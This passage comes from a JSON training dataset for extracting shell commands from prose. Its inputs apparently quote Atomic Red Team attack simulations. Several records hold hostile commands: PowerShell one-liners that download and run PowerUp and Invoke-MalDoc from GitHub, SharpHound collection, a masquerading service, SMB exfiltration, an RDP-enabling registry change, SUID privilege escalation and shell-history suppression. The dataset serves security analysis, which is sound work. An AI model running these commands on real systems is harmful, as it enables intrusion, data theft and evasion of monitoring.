-UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a W32Time-like service named win32times, similar to the 'Operation Wocao' threat actor's technique, use the following commands: sc create win32times binPath= \"cmd /c start c:\\\\T1036.004_NonExistingScript.ps1\"\nsc qc win32times\n",
    "output": "{\"command_list\": [\"sc create win32times binPath= \\\"cmd /c start c:\\\\T1036.004_NonExistingScript.ps1\\\"\\nsc qc win32times\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing powershell.exe with encoded arguments in various parameter formats, employ this command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop",
    "output": "{\"command_list\": [\"Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the context menu for the taskbar via Group Policy, you can modify the registry of the currently logged-in user with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoTrayContextMenu /t REG_DWORD /d 1 /f. Note that some Group Policy changes may require a restart.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoTrayContextMenu /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By combining Google Chrome and ScriptControl, this module achieves code execution through a locally hosted malicious payload. The payload, which defaults to executing calc.exe, is fetched and executed by headless Chrome via this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1204.002\\src\\chromeexec-macrocode.txt\" -officeProduct \"Word\" -sub \"ExecChrome\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1204.002\\\\src\\\\chromeexec-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"ExecChrome\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry can be updated to permit RDP remote assistance with the command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This scenario demonstrates data theft through SMB over QUIC, requiring the following commands to be run: New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck\ncopy '#{local_file}' 'Z:\\'",
    "output": "{\"command_list\": [\"New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck\\ncopy '#{local_file}' 'Z:\\\\'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To use AutoSUID for automating the harvesting of SUID executable files and privilege escalation, first make the script executable and then run it with the following commands: chmod +x #{autosuid}\nbash #{autosuid}\n",
    "output": "{\"command_list\": [\"chmod +x #{autosuid}\\nbash #{autosuid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The shell history can be suspended, similar to the technique in Awfulshred wiper, by executing this command: set +o history",
    "output": "{\"command_list\": [\"set +o history\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module 